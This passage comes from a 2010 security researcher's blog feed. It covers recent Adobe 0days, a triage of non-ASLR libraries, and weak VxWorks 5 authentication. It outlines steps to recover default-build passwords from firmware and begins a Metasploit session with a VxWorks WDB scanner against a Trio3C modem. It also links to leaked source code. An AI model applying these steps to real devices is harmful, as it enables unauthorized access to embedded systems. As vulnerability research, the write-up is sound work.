href='http://newsoft-tech.blogspot.com/feeds/7304538932767381632/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26480225&amp;postID=7304538932767381632' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/7304538932767381632'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/7304538932767381632'/><link rel='alternate' type='text/html' href='http://newsoft-tech.blogspot.com/2010/09/ms10-061-this-is-not-0day-you-are.html' title='MS10-061: &quot;this is not the 0day you are looking for&quot;'/><author><name>newsoft</name><uri>http://www.blogger.com/profile/04331742158137961313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://newsoft.dyndns.org/blog.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26480225.post-705908089385693855</id><published>2010-09-14T16:00:00.000+01:00</published><updated>2010-09-14T16:00:08.654+01:00</updated><title type='text'>Rapid publishing on recent Adobe flaws</title><content type='html'>&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US" style="mso-ansi-language: EN-US;"&gt;"As usual", Adobe products (namely &lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;a href="http://www.adobe.com/support/security/advisories/apsa10-02.html"&gt;Adobe Reader&lt;/a&gt;&lt;/span&gt;&lt;span lang="EN-US" style="mso-ansi-language: EN-US;"&gt; and &lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;a href="http://www.adobe.com/support/security/advisories/apsa10-03.html"&gt;Flash Player&lt;/a&gt;&lt;/span&gt;&lt;span lang="EN-US" style="mso-ansi-language: EN-US;"&gt;) were recently targeted by "0day" attacks in the wild.&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US" style="mso-ansi-language: EN-US;"&gt;&lt;/span&gt;I did not have a look at the attacks myself, but several trusted sources (such as H. D. Moore) described the exploit as "great" because it is able to bypass DEP and ASLR on Windows Seven.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;  &lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US" style="mso-ansi-language: EN-US;"&gt;Various exploitation tricks have been detailed on blogs such as &lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;a href="http://blog.metasploit.com/2010/09/return-of-unpublished-adobe.html"&gt;Metasploit&lt;/a&gt;&lt;/span&gt;&lt;span lang="EN-US" style="mso-ansi-language: EN-US;"&gt; and &lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;a href="http://www.vupen.com/blog/"&gt;VUPEN&lt;/a&gt;&lt;/span&gt;&lt;span lang="EN-US" style="mso-ansi-language: EN-US;"&gt;. ASLR bypass mostly relies on a library (namely "icucnv36.dll") not being ASLR-compatible and always being loaded at its preferred base address.&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US" style="mso-ansi-language: EN-US;"&gt;Now to the point: for years, I have been using &lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;a href="http://www.erratasec.com/lookingglass.html"&gt;LookingGlass&lt;/a&gt;&lt;/span&gt;&lt;span lang="EN-US" style="mso-ansi-language: EN-US;"&gt; tool for preliminary triage before any application audit. It has been flying under the radar, but it works really great, and it is &lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;s&gt;Open Source&lt;/s&gt;&lt;/span&gt;&lt;span lang="EN-US" style="mso-ansi-language: EN-US;"&gt; compiled in .NET bytecode.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US" style="mso-ansi-language: EN-US;"&gt;Here is the result for an up-to-date Adobe Reader 9.3.4. It looks like there are still avenues for DEP/ASLR bypass :)&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US" style="mso-ansi-language: EN-US;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://newsoft.dyndns.org/tech/LookingGlass.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://newsoft.dyndns.org/tech/LookingGlass.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26480225-705908089385693855?l=newsoft-tech.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://newsoft-tech.blogspot.com/feeds/705908089385693855/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26480225&amp;postID=705908089385693855' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/705908089385693855'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/705908089385693855'/><link rel='alternate' type='text/html' href='http://newsoft-tech.blogspot.com/2010/09/rapid-publishing-on-recent-adobe-flaws.html' title='Rapid publishing on recent Adobe flaws'/><author><name>newsoft</name><uri>http://www.blogger.com/profile/04331742158137961313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://newsoft.dyndns.org/blog.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26480225.post-2494847030997895350</id><published>2010-09-01T11:00:00.000+01:00</published><updated>2010-09-01T11:00:00.674+01:00</updated><title type='text'>Follow-up on VxWorks issue</title><content type='html'>&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: x-large;"&gt;Introduction&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;As a follow-up to &lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;a href="http://blog.metasploit.com/2010/08/vxworks-vulnerabilities.html"&gt;H. D. Moore research on VxWorks&lt;/a&gt;&lt;/span&gt;&lt;span lang="EN-US"&gt;, I would like to share some personal thoughts on the matter.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;I happen to have some experience with &lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;a href="https://secure.wikimedia.org/wikipedia/en/wiki/VxWorks"&gt;VxWorks&lt;/a&gt;&lt;/span&gt;&lt;span lang="EN-US"&gt;, since this operating system used to be quite popular among broadband modem manufacturers. And I have always been fascinated by those &lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;a href="http://actes.sstic.org/SSTIC06/Securite_ADSL_en_France/"&gt;SpyBoxes&lt;/a&gt;&lt;/span&gt;&lt;span lang="EN-US"&gt;.&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;VxWorks software is now easier to get ahold of, since &lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;a href="http://www.windriver.com/evaluations/gpp-ve/"&gt;trial/evaluation software&lt;/a&gt;&lt;/span&gt;&lt;span lang="EN-US"&gt; is readily available. However, by the time of VxWorks 5 (and older), things were a bit more tricky.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;HDM pointed out that VxWorks source code leaked on &lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;a href="http://www.pudn.com/downloads115/sourcecode/embed/detail486003.html"&gt;PUDN Web site&lt;/a&gt;&lt;/span&gt;&lt;span lang="EN-US"&gt;. As a rule of thumb, most of the world intellectual property is available from the Chinese Internet.&amp;nbsp;&lt;/span&gt;However there are many other ways to browse the source (&lt;i&gt;warning: all links below might disappear from the Internet without warning&lt;/i&gt;).&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Universities and student projects&amp;nbsp;[&lt;a href="http://www.cs.cmu.edu/afs/cs.cmu.edu/project/lri/vxworks/"&gt;1&lt;/a&gt;]&lt;/li&gt;&lt;li&gt;Training courses&amp;nbsp;[&lt;a href="http://ebook.pldworld.com/_WindRiver/Tornado_VxWorks_Training/"&gt;1&lt;/a&gt;]&lt;/li&gt;&lt;li&gt;&lt;span lang="EN-US"&gt;VxWorks enthusiasts [&lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;a href="http://www.vxdev.com/"&gt;1&lt;/a&gt;&lt;/span&gt;&lt;span lang="EN-US"&gt;] [&lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;a href="http://iwiwdsmi.blogspot.com/search/label/vxworks"&gt;2&lt;/a&gt;&lt;/span&gt;&lt;span lang="EN-US"&gt;] [&lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;a href="http://www.xs4all.nl/~borkhuis/vxworks/vxw_pt1.html"&gt;3&lt;/a&gt;&lt;/span&gt;&lt;span lang="EN-US"&gt;]&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span lang="EN-US"&gt;&lt;/span&gt;&lt;span lang="EN-US"&gt;Third-party SDKs (for systems that have been built on the top of VxWorks) [&lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;a href="http://siteadvisor.pl/sites/quantumdata.com/downloads/10247794/"&gt;1&lt;/a&gt;&lt;/span&gt;&lt;span lang="EN-US"&gt;]&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span lang="EN-US"&gt;&lt;/span&gt;&lt;span lang="EN-US"&gt;Hardware hackers [&lt;/span&gt;&lt;span lang="EN-US"&gt;&lt;a href="http://jjaf.de/eci/hi-focus/atu-r/telnetd/"&gt;1&lt;/a&gt;&lt;/span&gt;&lt;span lang="EN-US"&gt;]&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;In the end, whatever you are looking for, Internet has it :)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: x-large;"&gt;Authentication&lt;/span&gt;&lt;/b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;Now let's have a look at VxWorks authentication mechanism (described &lt;a href="http://www-kryo.desy.de/documents/vxWorks/V5.5/vxworks/ref/loginLib.html"&gt;here&lt;/a&gt; and &lt;a href="http://www.2beanet.com/vxworks/target/src/ostool/loginLib.c.html"&gt;here&lt;/a&gt;).&lt;/span&gt;&lt;br /&gt;&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span lang="EN-US"&gt;Quoting &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;usrConfig.c&lt;/span&gt;&lt;/span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;(…)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;loginInit (); /* initialize login table */&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;shellLoginInstall (loginPrompt, NULL); /* install security program */&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;/* add additional users here as required */&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;loginUserAdd (LOGIN_USER_NAME, LOGIN_PASSWORD);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;#endif /* INCLUDE_SECURITY */&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;printLogo (); /* print out the banner page */&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;printf (" ");&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;printf ("CPU: %s. Processor #%d.\n", sysModel (), sysProcNumGet ());&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;printf (" ");&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;printf ("Memory Size: 0x%x.", sysMemTop () - (char *)LOCAL_MEM_LOCAL_ADRS);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;printf (" BSP version %s.\n\n", bspVersion ());&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;(…)&lt;/span&gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;Authentication is optional – &lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;#INCLUDE_SECURITY&lt;/span&gt;&lt;/span&gt; must be defined at compile time.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;By default, &lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;loginUserAdd()&lt;/span&gt;&lt;/span&gt; must be called for creating each user account dynamically - there is no user/password "file" (since there might be no filesystem at all on the target system).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;Password is "encrypted" using a VxWorks-proprietary algorithm.&amp;nbsp;&lt;/span&gt;Quoting &lt;a href="http://www.xs4all.nl/~borkhuis/vxworks/vxw_pt1.html"&gt;http://www.xs4all.nl/~borkhuis/vxworks/vxw_pt1.html&lt;/a&gt;:&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;blockquote&gt;"&lt;i&gt;Q: How can I create (encrypted) passwords?&lt;/i&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;blockquote&gt;&lt;i&gt;A: You can use vxencrypt that comes with Tornado to create passwords, but it is pretty weak.&lt;/i&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;blockquote&gt;&lt;i&gt;I think it is sum( p[i] * i ^ i )) * 0x1e3a1d5 converted to ascii with a munged hex character set (presumably to make you think there are more than 2^32 encrypted passwords). I think I could reverse that using pen and paper.&lt;/i&gt;"&lt;/blockquote&gt;Therefore it is possible to log into any VxWorks 5 system in default configuration, given the following steps:&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Grab a copy of the firmware (more about this later)&lt;/li&gt;&lt;li&gt;Find the banner printing code&lt;/li&gt;&lt;li&gt;Look a few opcodes before - you will presumably find call(s) to &lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;loginUserAdd()&lt;/span&gt;&lt;/span&gt;.&lt;/li&gt;&lt;li&gt;Reverse passwords (using pen and paper ;)&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: x-large;"&gt;Practical use case&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;Let's take the &lt;a href="http://assistance.sfr.fr/internet_trio3C/accueil/votre-assistance/as-743-65855"&gt;Trio3C&lt;/a&gt; broadband modem that has been widely distributed by &lt;a href="http://fr.wikipedia.org/wiki/Neuf_Telecom"&gt;Neuf Telecom&lt;/a&gt; a few years ago. This model has been superseded by the&amp;nbsp;&lt;a href="http://www.neufbox4.org/"&gt;NeufBox4&lt;/a&gt;, and you could find second-hand modems for less than 5 euros nowadays.&amp;nbsp;&lt;/span&gt;Trio3C appears to be running under VxWorks 5, and to have remote debugging enabled.&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;$ ./msfconsole &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;_&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; _&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; _ _&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (_) |&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;_ __ ___&amp;nbsp;&amp;nbsp; ___| |_ __ _ ___ _ __ | | ___&amp;nbsp; _| |_&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;| | | | | |&amp;nbsp; __/ || (_| \__ \ |_) | | (_) | | |_&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | |&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |_|&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; =[ metasploit v3.4.2-dev [core:3.4 api:1.0]&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;+ -- --=[ 584 exploits - 297 auxiliary&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;+ -- --=[ 219 payloads - 27 encoders - 8 nops&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; =[ svn r10182 updated today (2010.08.29)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span lang="EN-US"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;msf| use auxiliary/scanner/vxworks/wdbrpc_bootline &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span lang="EN-US"&gt;&lt;span 